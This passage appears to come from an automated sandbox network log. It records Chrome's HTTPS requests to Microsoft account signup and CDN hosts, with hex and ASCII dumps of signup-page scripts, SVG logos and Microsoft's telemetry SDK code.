2022-05-13 14:40:44 UTC 2079 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 
22 20 64 61 74 61 2d 62 69 6e 64 3d 22 63 73 73 3a 20 7b 20 5c 27 63 6f 6c 2d 78 73 2d 32 34 5c 27 3a 20 21 62 75 74 
74 6f 6e 73 2e 6e 65 78 74 42 75 74 74 6f 6e 2e 76 69 73 69 62 6c 65 28 29 20 7c 7c 20 62 75 74 74 6f 6e 73 2e 63 6f 6e 
73 65 6e 74 43 72 65 61 74 65 42 75 74 74 6f 6e 2e 76 69 73 69 62 6c 65 28 29 20 7d 2c 20 76 69 73 69 62 6c 65 3a 20 
62 75 74 74 6f 6e 73 2e 63 61 6e 63 65 6c 42 75 74 74 6f 6e 2e 76 69 73 69 62 6c 65 28 29 22 3e 20 20 20 20 20 20 20 2
0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 
20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 53 69 67 6e 
Data Ascii:             <div class="inline-block" data-bind="css: { \'col-xs-24\': !buttons.nextButton.visible() || buttons.consen
tCreateButton.visible() }, visible: buttons.cancelButton.visible()">                                        <input type="button" id="Sign

2022-05-13 14:40:44 UTC 2095 IN Data Raw: 61 74 3a 62 3d 7b 22 69 73 56 61 6c 69 64 22 3a 21 31 2c 22 6d 65 73 73 61 67 65 22 3a 43 2e 69 6e 76 61 
6c 69 64 50 68 6f 6e 65 46 6f 72 6d 61 74 7d 3b 62 72 65 61 6b 3b 63 61 73 65 20 77 2e 69 6e 76 61 6c 69 64 4d 65 6d 
62 65 72 4e 61 6d 65 46 6f 72 6d 61 74 3a 62 3d 7b 22 69 73 56 61 6c 69 64 22 3a 21 31 2c 22 6d 65 73 73 61 67 65 22 
3a 53 26 26 71 28 29 3d 3d 3d 67 2e 50 68 6f 6e 65 3f 43 2e 69 6e 76 61 6c 69 64 50 68 6f 6e 65 46 6f 72 6d 61 74 3a 43 
2e 69 6e 76 61 6c 69 64 45 6d 61 69 6c 46 6f 72 6d 61 74 7d 3b 62 72 65 61 6b 3b 63 61 73 65 20 77 2e 6d 65 6d 62 65 
72 6e 61 6d 65 54 61 6b 65 6e 3a 63 61 73 65 20 77 2e 6d 65 6d 62 65 72 6e 61 6d 65 54 61 6b 65 6e 45 61 73 69 3a 69 
66 28 70 2e 61 75 74 6f 52 65 64 69 72 54 6f 53 69 67 6e 49 6e 4f 6e 4d 
Data Ascii: at:b={"isValid":!1,"message":C.invalidPhoneFormat};break;case w.invalidMemberNameFormat:b={"isVali
d":!1,"message":S&&q()===g.Phone?C.invalidPhoneFormat:C.invalidEmailFormat};break;case w.membernameT
aken:case w.membernameTakenEasi:if(p.autoRedirToSignInOnM

2022-05-13 14:40:44 UTC 2111 IN Data Raw: 2e 64 61 74 61 2e 69 6e 70 75 74 5b 79 2e 62 69 72 74 68 64 61 74 65 2e 6e 61 6d 65 5d 3d 65 29 7d 29 2c 
61 2e 62 69 72 74 68 59 65 61 72 2e 73 75 62 73 63 72 69 62 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 62 69 72 74 
68 59 65 61 72 2e 73 75 70 70 72 65 73 73 4d 65 73 73 61 67 65 73 28 21 31 29 7d 29 2c 61 2e 62 69 72 74 68 4d 6f 6e 
74 68 2e 73 75 62 73 63 72 69 62 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 62 69 72 74 68 4d 6f 6e 74 68 2e 73 75 
70 70 72 65 73 73 4d 65 73 73 61 67 65 73 28 21 31 29 7d 29 2c 61 2e 62 69 72 74 68 44 61 79 2e 73 75 62 73 63 72 69 
62 65 28 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 62 69 72 74 68 44 61 79 2e 73 75 70 70 72 65 73 73 4d 65 73 73 61 67 
65 73 28 21 31 29 0a 7d 29 2c 61 2e 62 69 72 74 68 64 61 74 65 2e 73 75 70 
Data Ascii: .data.input[y.birthdate.name]=e)}),a.birthYear.subscribe(function(){a.birthYear.suppressMessages(!1)}),a.bir
thMonth.subscribe(function(){a.birthMonth.suppressMessages(!1)}),a.birthDay.subscribe(function(){a.birthDay.su
ppressMessages(!1)}),a.birthdate.sup

2022-05-13 14:40:44 UTC 2127 IN Data Raw: 69 64 65 22 2c 70 3d 22 6f 6e 53 65 74 75 70 45 76 65 6e 74 73 22 2c 6d 3d 22 6f 6e 52 65 6d 6f 76 65 45 76 
65 6e 74 73 22 2c 67 3d 22 6f 6e 44 69 73 70 6f 73 65 22 2c 66 3d 22 6b 6f 72 65 61 64 61 74 61 63 6f 6c 6c 65 63 74 69 
6f 6e 22 2c 76 3d 22 6b 6f 72 65 61 64 61 74 61 70 72 6f 76 69 73 69 6f 6e 22 2c 62 3d 22 6b 6f 72 65 61 64 61 74 61 6d 
61 72 6b 65 74 22 3b 0a 24 44 6f 2e 77 68 65 6e 28 22 45 78 74 65 72 6e 61 6c 48 65 6c 70 65 72 22 2c 30 2c 66 75 6e 
63 74 69 6f 6e 28 29 7b 6f 3d 65 2e 45 78 74 65 72 6e 61 6c 48 65 6c 70 65 72 7d 29 2c 64 65 66 69 6e 65 43 6c 61 73 
73 28 22 77 4c 69 76 65 2e 41 63 63 6f 75 6e 74 2e 43 6f 6e 74 72 6f 6c 73 2e 54 6f 75 50 72 69 76 61 63 79 43 6f 6e 74 
72 6f 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 
Data Ascii: ide",p="onSetupEvents",m="onRemoveEvents",g="onDispose",f="koreadatacollection",v="koreadataprovis
ion",b="koreadatamarket";$Do.when("ExternalHelper",0,function(){o=e.ExternalHelper}),defineClass("wLive.Accoun
t.Controls.TouPrivacyControl",function(e,t,n){

2022-05-13 14:40:44 UTC 2143 IN Data Raw: 79 49 64 28 22 4d 65 6d 62 65 72 4e 61 6d 65 53 75 67 67 65 73 74 69 6f 6e 73 22 29 3b 0a 24 50 61 67 65 
48 65 6c 70 65 72 2e 76 69 73 69 62 6c 65 28 74 29 26 26 21 74 2e 69 73 28 65 2e 74 61 72 67 65 74 29 26 26 30 3d 3d 
3d 74 2e 68 61 73 28 65 2e 74 61 72 67 65 74 29 2e 6c 65 6e 67 74 68 26 26 74 2e 68 69 64 65 28 29 3b 76 61 72 20 6e 
3d 24 50 61 67 65 48 65 6c 70 65 72 2e 62 79 49 64 28 22 48 65 6c 70 54 65 78 74 22 29 3b 24 50 61 67 65 48 65 6c 70 
65 72 2e 76 69 73 69 62 6c 65 28 6e 29 26 26 21 6e 2e 69 73 28 65 2e 74 61 72 67 65 74 29 26 26 30 3d 3d 3d 6e 2e 68 
61 73 28 65 2e 74 61 72 67 65 74 29 2e 6c 65 6e 67 74 68 26 26 6e 2e 68 69 64 65 28 29 7d 29 2c 21 63 2e 6c 65 61 72 
6e 4d 6f 72 65 43 6f 6e 74 65 6e 74 26 26 63 2e 75 72 6c 73 2e 71 75 65 72 
Data Ascii: yId("MemberNameSuggestions");$PageHelper.visible(t)&&!t.is(e.target)&&0===t.has(e.target).length&&
t.hide();var n=$PageHelper.byId("HelpText");$PageHelper.visible(n)&&!n.is(e.target)&&0===n.has(e.target).lengt
h&&n.hide()}),!c.learnMoreContent&&c.urls.quer

2022-05-13 14:40:44 UTC 2159 IN Data Raw: 75 6c 6c 29 7d 63 61 74 63 68 28 53 29 7b 7d 7d 69 66 28 43 26 26 43 2e 64 6f 6e 65 29 7b 50 26 26 28 43 2e 
75 72 6c 49 64 3d 50 29 2c 6b 26 26 78 3f 43 2e 73 77 69 74 63 68 48 49 50 28 22 73 6d 73 22 2c 6b 2c 78 29 3a 6b 3f 
43 2e 73 77 69 74 63 68 48 49 50 28 22 73 6d 73 22 2c 6b 29 3a 43 2e 73 77 69 74 63 68 48 49 50 28 22 73 6d 73 22 29 
7d 65 6c 73 65 7b 66 6f 72 28 76 61 72 20 48 20 69 6e 20 6f 2e 5f 76 69 65 77 43 6f 6e 74 65 78 74 2e 6b 65 79 54 6f 53 
74 61 74 65 4d 61 70 29 7b 69 66 28 22 68 69 70 22 3d 3d 3d 48 29 7b 69 66 28 67 2e 75 72 6c 3d 24 66 2e 72 65 70 6c 
61 63 65 51 73 28 67 2e 75 72 6c 2c 22 74 79 70 65 22 2c 22 73 6d 73 22 29 2c 50 26 26 28 67 2e 75 72 6c 3d 24 66 2e 
72 65 70 6c 61 63 65 51 73 28 67 2e 75 72 6c 2c 22 69 64 22 2c 50 29 
Data Ascii: ull)}catch(S){}}if(C&&C.done){P&&(C.urlId=P),k&&x?C.switchHIP("sms",k,x):k?C.switchHIP("sms",k):C.
switchHIP("sms")}else{for(var H in o._viewContext.keyToStateMap){if("hip"===H){if(g.url=$f.replaceQs(g.url,"type","sms")
,P&&(g.url=$f.replaceQs(g.url,"id",P)

2022-05-13 14:40:44 UTC 2175 IN Data Raw: 2e 74 6f 53 74 72 69 6e 67 28 29 29 7d 29 7d 2c 72 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 
6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 0a 72 2e 69 64 3d 22 69 44 65 76 69 63 65 46 69 6e 67 65 72 50 72 69 6e 
74 69 6e 67 22 2c 72 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 2c 22 63 6f 6c 6f 72 3a 23 30 30 
30 30 30 30 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 6
9 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 70 78 3b 68 65 69 67 68 74 3a 31 70 78 3b 6c 65 66 74 3a 2d 
31 30 30 30 30 70 78 3b 74 6f 70 3a 2d 31 30 30 30 30 70 78 3b 62 6f 72 64 65 72 3a 30 70 78 22 29 2c 72 2e 73 65 74 
41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 65 29 2c 74 3d 6f 2e 
Data Ascii: .toString())})},r=document.createElement("iframe");r.id="iDeviceFingerPrinting",r.setAttribute("style","colo
r:#000000;float:left;visibility:hidden;position:absolute;width:1px;height:1px;left:-10000px;top:-10000px;border:0px"),r.
setAttribute("src",e),t=o.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

77 192.168.2.3 49841 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:44 UTC 2176 OUT GET /images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg HTTP/1.1
Host: acctcdn.msauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:44 UTC 2176 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 25793614
Cache-Control: public, max-age=31536000
Content-MD5: nzaLxFgP7ZB3dfMcaybWzw==
Content-Type: image/svg+xml
Date: Fri, 13 May 2022 14:40:44 GMT
Etag: 0x8D949CA9E99F66E
Last-Modified: Sun, 18 Jul 2021 09:01:24 GMT
Server: ECAcc (frc/8FED)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 53b4adb0-401e-0009-1d3f-7c07a7000000
x-ms-version: 2009-09-19
Content-Length: 3651
Connection: close

2022-05-13 14:40:44 UTC 2177 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 
30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 
22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 
39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 
39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 
36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title>
<path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37
.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

78 192.168.2.3 49843 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:45 UTC 2181 OUT GET /images/dropdown_caret_KXSZjGsyILZaoTf0sI9X-A2.svg HTTP/1.1
Host: acctcdn.msauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:45 UTC 2181 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 7684724
Cache-Control: public, max-age=31536000
Content-MD5: 5h8LmH5/oEhH5cNR2+nY3g==
Content-Type: image/svg+xml
Date: Fri, 13 May 2022 14:40:45 GMT
Etag: 0x8D9EED925BBAE7B
Last-Modified: Sun, 13 Feb 2022 10:11:05 GMT
Server: ECAcc (frc/8E8B)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 54394d4f-301e-0077-21f3-20fb92000000
x-ms-version: 2009-09-19
Content-Length: 224
Connection: close
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2022-05-13 14:40:45 UTC 2182 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 33 36 22 20 68 65 69 67 68 74 3d 22 33 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 33 36 20 33 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 
31 38 2c 32 32 2e 34 38 34 6c 2d 38 2d 38 2c 2e 39 36 39 2d 2e 39 36 38 4c 31 38 2c 32 30 2e 35 34 37 6c 37 2e 30 33 
31 2d 37 2e 30 33 31 2e 39 36 39 2e 39 36 38 2d 38 2c 38 5a 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 33 36 22 
20 68 65 69 67 68 74 3d 22 33 36 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 2f 73 76 67 3e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="36" height="36" viewBox="0 0 36 36"><title>assets</title>
<path d="M18,22.484l-8-8,.969-.968L18,20.547l7.031-7.031.969.968-8,8Z"/><rect width="36" height="36" fill="none"/>
</svg>

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

79 192.168.2.3 49847 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:46 UTC 2182 OUT GET /oneds_CBxZrnSxLbjHuOGn7pHqpg2.js?v=1 HTTP/1.1
Host: acctcdn.msauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:46 UTC 2183 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 149491
Cache-Control: public, max-age=31536000
Content-MD5: TG9uHzngBH/n/rWU7NJ5sA==
Content-Type: application/javascript
Date: Fri, 13 May 2022 14:40:46 GMT
Etag: 0x8DA330D8D7CC074
Last-Modified: Wed, 11 May 2022 05:17:32 GMT
Server: ECAcc (frc/8F6F)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 6aabc4eb-f01e-0014-537b-658a01000000
x-ms-version: 2009-09-19
Content-Length: 83930
Connection: close

2022-05-13 14:40:46 UTC 2183 IN Data Raw: 2f 2a 21 0d 0a 20 2a 20 31 44 53 20 4a 53 20 53 44 4b 20 43 6f 72 65 2c 20 33 2e 31 2e 31 31 0d 0a 20 2a 20 
43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 
2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0d 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 
6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0d 0a 20 2a 2f 0d 0a 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 66 75 6e 63 74 69 6f 
6e 28 63 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 44 3d 22 66 75 6e 63 74 69 6f 6e 22 2c 61 3d 22 6f 
62 6a 65 63 74 22 2c 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 2c 66 3d 22 70 72 6f 74 6f 74 79 70 65 22 2c 5f 3d 22 68 61 
73 4f 77 6e 50 72 6f 70 65 72 74 79 22 2c 74 3d 4f 62 6a 65 63 
Data Ascii: /*! * 1DS JS SDK Core, 3.1.11 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft 
Internal Only) */var e=this,n=function(c){"use strict";var D="function",a="object",n="undefined",f="prototype",_="hasOwn
Property",t=Objec

2022-05-13 14:40:46 UTC 2199 IN Data Raw: 61 
Data Ascii: a

2022-05-13 14:40:46 UTC 2199 IN Data Raw: 72 20 72 2c 65 3d 6c 2e 67 65 74 45 78 74 43 66 67 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 65 26 
26 21 6d 28 65 5b 6e 5d 29 3f 72 3d 65 5b 6e 5d 3a 69 26 26 21 6d 28 69 5b 6e 5d 29 26 26 28 72 3d 69 5b 6e 5d 29 2c 
6d 28 72 29 3f 74 3a 72 7d 2c 6c 2e 68 61 73 4e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7
5 6c 6c 21 3d 73 7d 2c 6c 2e 67 65 74 4e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 2c 6c 
2e 73 65 74 4e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 3d 65 7d 2c 6c 2e 70 72 6f 63 65 73 73 4e 65 78 74 
3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 73 3b 6e 26 26 28 73 3d 6e 2e 67 65 74 4e 65 78 74 28 29 2c 
6e 2e 70 72 6f 63 65 73 73 54 65 6c 65 6d 65 74 72 79 28 65 2c 6c 29 29 
Data Ascii: r r,e=l.getExtCfg(e,null);return e&&!m(e[n])?r=e[n]:i&&!m(i[n])&&(r=i[n]),m(r)?t:r},l.hasNext=function(){return 
null!=s},l.getNext=function(){return s},l.setNext=function(e){s=e},l.processNext=function(e){var n=s;n&&(s=n.getNext
(),n.processTelemetry(e,l))

2022-05-13 14:40:46 UTC 2215 IN Data Raw: 29 
Data Ascii: )
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2022-05-13 14:40:46 UTC 2215 IN Data Raw: 7b 65 26 26 49 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 64 65 6e 74 69 66 69 65 72 26 26 65 2e 
76 65 72 73 69 6f 6e 26 26 28 65 3d 65 2e 69 64 65 6e 74 69 66 69 65 72 2b 22 3d 22 2b 65 2e 76 65 72 73 69 6f 6e 2c 
75 2e 70 6c 75 67 69 6e 56 65 72 73 69 6f 6e 53 74 72 69 6e 67 41 72 72 2e 70 75 73 68 28 65 29 29 7d 29 7d 29 7d 75 
2e 67 65 74 57 50 61 72 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 
21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 3f 30 3a 2d 31 7d 2c 69 26 26 49 28 69 2c 66 75 6e 63 74 69 6f 6e 28 
65 29 7b 65 26 26 65 2e 69 64 65 6e 74 69 66 69 65 72 26 26 65 2e 76 65 72 73 69 6f 6e 26 26 28 65 3d 65 2e 69 64 65 
6e 74 69 66 69 65 72 2b 22 3d 22 2b 65 2e 76 65 72 73 69 6f 6e 2c 75 
Data Ascii: {e&&I(e,function(e){e.identifier&&e.version&&(e=e.identifier+"="+e.version,u.pluginVersionStringArr.push(e))
})})}u.getWParam=function(){return"undefined"!=typeof document?0:-1},i&&I(i,function(e){e&&e.identifier&&e.version&&
(e=e.identifier+"="+e.version,u

2022-05-13 14:40:46 UTC 2231 IN Data Raw: 69 
Data Ascii: i

2022-05-13 14:40:46 UTC 2231 IN Data Raw: 6c 65 64 54 6f 53 65 74 53 74 6f 72 61 67 65 42 75 66 66 65 72 3a 34 31 2c 46 61 69 6c 65 64 54 6f 52 65 73 
74 6f 72 65 53 74 6f 72 61 67 65 42 75 66 66 65 72 3a 34 32 2c 49 6e 76 61 6c 69 64 42 61 63 6b 65 6e 64 52 65 73 70 6f 
6e 73 65 3a 34 33 2c 46 61 69 6c 65 64 54 6f 46 69 78 44 65 70 72 69 63 61 74 65 64 56 61 6c 75 65 73 3a 34 34 2c 49 
6e 76 61 6c 69 64 44 75 72 61 74 69 6f 6e 56 61 6c 75 65 3a 34 35 2c 54 65 6c 65 6d 65 74 72 79 45 6e 76 65 6c 6f 70 
65 49 6e 76 61 6c 69 64 3a 34 36 2c 43 72 65 61 74 65 45 6e 76 65 6c 6f 70 65 45 72 72 6f 72 3a 34 37 2c 43 61 6e 6e 6f 
74 53 65 72 69 61 6c 69 7a 65 4f 62 6a 65 63 74 3a 34 38 2c 43 61 6e 6e 6f 74 53 65 72 69 61 6c 69 7a 65 4f 62 6a 65 63 
74 4e 6f 6e 53 65 72 69 61 6c 69 7a 61 62 6c 65 3a 34 39 2c 43 
Data Ascii: ledToSetStorageBuffer:41,FailedToRestoreStorageBuffer:42,InvalidBackendResponse:43,FailedToFixDepr
icatedValues:44,InvalidDurationValue:45,TelemetryEnvelopeInvalid:46,CreateEnvelopeError:47,CannotSerializeObje
ct:48,CannotSerializeObjectNonSerializable:49,C

2022-05-13 14:40:46 UTC 2247 IN Data Raw: 74 
Data Ascii: t

2022-05-13 14:40:46 UTC 2247 IN Data Raw: 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 
72 6e 20 6f 7d 2c 65 2e 73 65 74 43 6c 6f 63 6b 53 6b 65 77 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 7c 7c 28 65 3f 28 
6f 3d 65 2c 69 3d 74 3d 21 30 29 3a 74 3d 21 31 2c 6e 3d 21 30 29 7d 7d 29 7d 2c 7a 6e 3d 22 73 65 6e 64 41 74 74 65 
6d 70 74 22 2c 6a 6e 3d 22 26 4e 6f 52 65 73 70 6f 6e 73 65 42 6f 64 79 3d 74 72 75 65 22 2c 55 6e 3d 28 28 6c 3d 7b 7d 
29 5b 31 5d 3d 6e 2c 6c 5b 31 30 30 5d 3d 6e 2c 6c 5b 32 30 30 5d 3d 22 73 65 6e 74 22 2c 6c 5b 38 30 30 34 5d 3d 53 
6e 2c 6c 5b 38 30 30 33 5d 3d 53 6e 2c 6c 29 2c 56 6e 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 57 6e 28 65 29 7b 74 72 7
9 7b 72 65 74 75 72 6e 20 65 2e 72 65 73 70 6f 6e 73 65 54 65 78 
Data Ascii: ClockSkewHeaderValue=function(){return o},e.setClockSkew=function(e){i||(e?(o=e,i=t=!0):t=!1,n=!0)}})},zn="s
endAttempt",jn="&NoResponseBody=true",Un=((l={})[1]=n,l[100]=n,l[200]="sent",l[8004]=Sn,l[8003]=Sn,l),Vn={};function 
Wn(e){try{return e.responseTex

2022-05-13 14:40:46 UTC 2263 IN Data Raw: 72 7c 7c 21 21 74 2e 64 69 73 61 62 6c 65 54 65 6c 65 6d 65 74 72 79 3a 72 29 7c 7c 50 7c 7c 28 53 5b 59 6e 
5d 26 26 28 65 2e 69 4b 65 79 3d 53 5b 59 6e 5d 29 2c 74 26 26 74 5b 59 6e 5d 26 26 28 65 2e 69 4b 65 79 3d 74 5b 59 
6e 5d 29 2c 6f 28 65 2c 21 30 29 2c 55 3f 64 28 32 2c 32 29 3a 61 28 29 29 2c 73 2e 70 72 6f 63 65 73 73 4e 65 78 74 28 
65 2c 6e 29 7d 2c 73 2e 73 65 74 45 76 65 6e 74 51 75 65 75 65 4c 69 6d 69 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 
6e 29 7b 4f 3d 30 3c 65 3f 65 3a 31 65 34 2c 52 3d 30 3c 6e 3f 6e 3a 30 2c 62 28 29 3b 76 61 72 20 74 3d 65 3c 46 3b 69 
66 28 21 74 26 26 30 3c 45 29 66 6f 72 28 76 61 72 20 72 3d 31 3b 21 74 26 26 72 3c 3d 33 3b 72 2b 2b 29 7b 76 61 72 2
0 6f 3d 71 5b 72 5d 3b 6f 26 26 6f 2e 62 61 74 63 68 65 73 26 26 
Data Ascii: r||!!t.disableTelemetry:r)||P||(S[Yn]&&(e.iKey=S[Yn]),t&&t[Yn]&&(e.iKey=t[Yn]),o(e,!0),U?d(2,2):a()),s.proce
ssNext(e,n)},s.setEventQueueLimits=function(e,n){O=0<e?e:1e4,R=0<n?n:0,b();var t=e<F;if(!t&&0<E)for(var r=1;!t
&&r<=3;r++){var o=q[r];o&&o.batches&&

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

8 192.168.2.3 49710 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:58 UTC 83 OUT GET /image/apps.256.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.ca4cbefc-0ab0-4144-90c1-0
7f5250c8c21?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:58 UTC 84 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 11182
Content-Type: image/png
Last-Modified: Thu, 30 Sep 2021 03:30:18 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyQTA4MkRBQUM"
MS-CV: Yyzz1YfTlk6thXph.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:58 GMT
Connection: close
Access-Control-Allow-Origin: *

